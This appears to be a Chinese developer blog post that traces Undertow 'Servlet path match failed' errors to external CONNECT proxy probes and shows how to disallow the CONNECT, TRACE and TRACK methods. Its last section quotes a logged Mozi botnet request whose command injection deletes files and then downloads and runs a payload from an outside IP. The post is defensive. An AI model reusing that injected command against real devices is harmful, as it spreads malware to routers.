咸鱼

咸鱼是以盐腌渍后,晒干的鱼

0%

Undertow request failed HttpServerExchange

部署一个简单的 Springboot Web 项目在阿里云ESC公网,web容器由Tomcat切换为Undertow。

1. 异常信息

跑一段时间后,在日志中经常出现一些其他域名相关的奇怪异常,而且很难复现。如下:

以下只贴出带有域名的异常,其实IP的异常居多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

2021-09-30 09:14:02.935 ERROR 18684 --- [ XNIO-1 I/O-1] io.undertow.request :
UT005071: Undertow request failed HttpServerExchange{ CONNECT www.baidu.com:443}

java.lang.IllegalArgumentException: UT000068: Servlet path match failed
at io.undertow.servlet.handlers.ServletPathMatchesData.getServletHandlerByPath(ServletPathMatchesData.java:83) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.servlet.handlers.ServletPathMatches.getServletHandlerByPath(ServletPathMatches.java:88) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.servlet.handlers.ServletInitialHandler.handleRequest(ServletInitialHandler.java:146) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.handlers.HttpContinueReadHandler.handleRequest(HttpContinueReadHandler.java:65) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:376) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpReadListener.handleEventWithNoRunningRequest(HttpReadListener.java:255) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpReadListener.handleEvent(HttpReadListener.java:136) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpOpenListener.handleEvent(HttpOpenListener.java:162) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpOpenListener.handleEvent(HttpOpenListener.java:100) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpOpenListener.handleEvent(HttpOpenListener.java:57) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:92) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.ChannelListeners$10.handleEvent(ChannelListeners.java:291) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.ChannelListeners$10.handleEvent(ChannelListeners.java:286) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:92) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.nio.QueuedNioTcpServer$1.run(QueuedNioTcpServer.java:129) ~[xnio-nio-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.nio.WorkerThread.safeRun(WorkerThread.java:582) ~[xnio-nio-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.nio.WorkerThread.run(WorkerThread.java:466) ~[xnio-nio-3.3.8.Final.jar!/:3.3.8.Final]



2021-10-02 01:57:00.626 ERROR 18684 --- [ XNIO-1 I/O-1] io.undertow.request :
UT005071: Undertow request failed HttpServerExchange{ GET ab2h}

java.lang.IllegalArgumentException: UT000068: Servlet path match failed
at io.undertow.servlet.handlers.ServletPathMatchesData.getServletHandlerByPath(ServletPathMatchesData.java:83) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.servlet.handlers.ServletPathMatches.getServletHandlerByPath(ServletPathMatches.java:88) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.servlet.handlers.ServletInitialHandler.handleRequest(ServletInitialHandler.java:146) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.handlers.HttpContinueReadHandler.handleRequest(HttpContinueReadHandler.java:65) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:376) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpReadListener.handleEventWithNoRunningRequest(HttpReadListener.java:255) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpReadListener.handleEvent(HttpReadListener.java:136) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpReadListener.handleEvent(HttpReadListener.java:59) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:92) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.conduits.ReadReadyHandler$ChannelListenerHandler.readReady(ReadReadyHandler.java:66) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.nio.NioSocketConduit.handleReady(NioSocketConduit.java:88) ~[xnio-nio-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.nio.WorkerThread.run(WorkerThread.java:561) ~[xnio-nio-3.3.8.Final.jar!/:3.3.8.Final]


2021-10-10 22:14:39.423 ERROR 18684 --- [ XNIO-1 I/O-1] io.undertow.request :
UT005071: Undertow request failed HttpServerExchange{ CONNECT www.sogo.com:443}

java.lang.IllegalArgumentException: UT000068: Servlet path match failed
at io.undertow.servlet.handlers.ServletPathMatchesData.getServletHandlerByPath(ServletPathMatchesData.java:83) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.servlet.handlers.ServletPathMatches.getServletHandlerByPath(ServletPathMatches.java:88) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.servlet.handlers.ServletInitialHandler.handleRequest(ServletInitialHandler.java:146) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.handlers.HttpContinueReadHandler.handleRequest(HttpContinueReadHandler.java:65) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:376) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpReadListener.handleEventWithNoRunningRequest(HttpReadListener.java:255) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpReadListener.handleEvent(HttpReadListener.java:136) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpOpenListener.handleEvent(HttpOpenListener.java:162) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpOpenListener.handleEvent(HttpOpenListener.java:100) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpOpenListener.handleEvent(HttpOpenListener.java:57) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:92) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.ChannelListeners$10.handleEvent(ChannelListeners.java:291) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.ChannelListeners$10.handleEvent(ChannelListeners.java:286) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:92) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.nio.QueuedNioTcpServer$1.run(QueuedNioTcpServer.java:129) ~[xnio-nio-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.nio.WorkerThread.safeRun(WorkerThread.java:582) ~[xnio-nio-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.nio.WorkerThread.run(WorkerThread.java:466) ~[xnio-nio-3.3.8.Final.jar!/:3.3.8.Final]


2021-10-11 19:53:54.083 ERROR 10473 --- [ XNIO-2 I/O-2] io.undertow.request :
UT005071: Undertow request failed HttpServerExchange{ CONNECT hotmail-com.olc.protection.outlook.com:25}

java.lang.IllegalArgumentException: UT000068: Servlet path match failed
at io.undertow.servlet.handlers.ServletPathMatchesData.getServletHandlerByPath(ServletPathMatchesData.java:83) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.servlet.handlers.ServletPathMatches.getServletHandlerByPath(ServletPathMatches.java:88) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.servlet.handlers.ServletInitialHandler.handleRequest(ServletInitialHandler.java:146) ~[undertow-servlet-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.handlers.accesslog.AccessLogHandler.handleRequest(AccessLogHandler.java:148) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.handlers.HttpContinueReadHandler.handleRequest(HttpContinueReadHandler.java:65) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:376) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpReadListener.handleEventWithNoRunningRequest(HttpReadListener.java:255) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpReadListener.handleEvent(HttpReadListener.java:136) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpOpenListener.handleEvent(HttpOpenListener.java:162) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpOpenListener.handleEvent(HttpOpenListener.java:100) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at io.undertow.server.protocol.http.HttpOpenListener.handleEvent(HttpOpenListener.java:57) ~[undertow-core-2.0.29.Final.jar!/:2.0.29.Final]
at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:92) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.ChannelListeners$10.handleEvent(ChannelListeners.java:291) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.ChannelListeners$10.handleEvent(ChannelListeners.java:286) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.ChannelListeners.invokeChannelListener(ChannelListeners.java:92) ~[xnio-api-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.nio.QueuedNioTcpServer$1.run(QueuedNioTcpServer.java:129) ~[xnio-nio-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.nio.WorkerThread.safeRun(WorkerThread.java:582) ~[xnio-nio-3.3.8.Final.jar!/:3.3.8.Final]
at org.xnio.nio.WorkerThread.run(WorkerThread.java:466) ~[xnio-nio-3.3.8.Final.jar!/:3.3.8.Final]

项目中并没有使用以上域名的API或者SDK,为何会向其发出请求呢?

2. 增加容器日志记录

开启Undertow的Access日志:

1
2
3
4
5
6
server:
port: 8080
undertow:
accesslog:
enabled: true
dir: /var/log/undertow

观察到以下记录:

1
2
3
4
45.61.188.13 - - [11/Oct/2021:22:54:29 +0800] "GET /config/getuser?index=0 HTTP/1.0" 404 295
45.61.188.13 - - [11/Oct/2021:23:30:01 +0800] "POST /boaform/admin/formLogin HTTP/1.1" 404 295
89.248.165.52 - - [11/Oct/2021:19:53:54 +0800] "CONNECT hotmail-com.olc.protection.outlook.com:25 HTTP/1.1" 500 -
89.248.165.52 - - [11/Oct/2021:21:17:17 +0800] "CONNECT 85.206.160.115:80 HTTP/1.1" 500 -

原来这些域名信息都是外部请求带过来的,查询资料发现 CONNECT【HTTP代理方法】的内容,和 GETPOST 是同一个级别的关键词, CONNECT 的作用就是将服务器作为代理。
CONNECT 代理完整的报文:

1
2
3
4
5
CONNECT hotmail-com.olc.protection.outlook.com:25 HTTP/1.1\r\n
Host: hotmail-com.olc.protection.outlook.com:25\r\n
Proxy-Connection: Keep-Alive\r\n
Content-Length: 0\r\n
\r\n

参考【HTTP (HyperText Transfer Protocol)】

  • GET: A client can use the GET request to get a web resource from the server.
  • HEAD: A client can use the HEAD request to get the header that a GET request would have obtained. Since the header contains the last-modified date of the data, this can be used to check against the local cache copy.
  • POST: Used to post data up to the web server.
  • PUT: Ask the server to store the data.
  • DELETE: Ask the server to delete the data.
  • TRACE: Ask the server to return a diagnostic trace of the actions it takes.
  • OPTIONS: Ask the server to return the list of request methods it supports.
  • CONNECT: Used to tell a proxy to make a connection to another host and simply reply the content, without attempting to parse or cache it. This is often used to make SSL connection through the proxy.
  • Other extension methods.

3. 复现异常

为了复现以上异常,创建一个 TCP Socket 向 Undertow 服务发送报文即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws IOException, InterruptedException {

Socket socket = new Socket();
SocketAddress address = new InetSocketAddress("localhost", 8080);
socket.connect(address, 5000);
socket.setSoTimeout(10000);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(("CONNECT hotmail-com.olc.protection.outlook.com:25 HTTP/1.1\r\n" +
"Host: hotmail-com.olc.protection.outlook.com\r\n" +
"Proxy-Connection: Keep-Alive\r\n\r\n").getBytes());
outputStream.flush();
outputStream.close();

socket.close();
}

4. 消除异常

那么如何禁止外部尝试用我们服务做代理呢?我们想到的是当然是禁止CONNECT这个方法,Springboot给我提供的方法,我们只需要加一个配置即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import io.undertow.server.HandlerWrapper;
import io.undertow.server.HttpHandler;
import io.undertow.server.handlers.DisallowedMethodsHandler;
import io.undertow.util.HttpString;
import org.springframework.boot.web.embedded.undertow.UndertowServletWebServerFactory;
import org.springframework.boot.web.server.WebServerFactoryCustomizer;
import org.springframework.context.annotation.Configuration;

@Configuration
public class UndertowWebServerCustomizerConfig implements WebServerFactoryCustomizer<UndertowServletWebServerFactory> {

@Override
public void customize(UndertowServletWebServerFactory factory) {
factory.addDeploymentInfoCustomizers(deploymentInfo -> {
deploymentInfo.addInitialHandlerChainWrapper(new HandlerWrapper() {
@Override
public HttpHandler wrap(HttpHandler handler) {

//禁止三个方法TRACE也是不安全的
System.out.println("disable HTTP methods: CONNECT/TRACE/TRACK");
HttpString[] disallowedHttpMethods = {
HttpString.tryFromString("CONNECT"),
HttpString.tryFromString("TRACE"),
HttpString.tryFromString("TRACK")
};
return new DisallowedMethodsHandler(handler, disallowedHttpMethods);
}
});
});
}
}

再观察access日志:

1
2
127.0.0.1 - - [12/Oct/2021:14:38:06 +0800] "CONNECT hotmail-com.olc.protection.outlook.com:25 HTTP/1.1" 405 -
127.0.0.1 - - [12/Oct/2021:14:38:24 +0800] "CONNECT hotmail-com.olc.protection.outlook.com:25 HTTP/1.1" 405 -

加上UndertowWebServerCustomizerConfig,有以下两点变化:

  • 项目Java中不会抛异常
  • HTTP响应状态码由500变为405(Method not allowed)

5. 其他

通过容器的日志,发现这样一条记录:

1
2
3
179.42.105.0 - - [11/Oct/2021:17:26:18 +0800] "GET /setup.cgi?next_
file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://179.42.107.161:52500/
Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 119

这是 Mozi 僵尸网络,专门攻击路由器的,详情请看【Mozi僵尸网络可攻击华为、中兴IoT设备】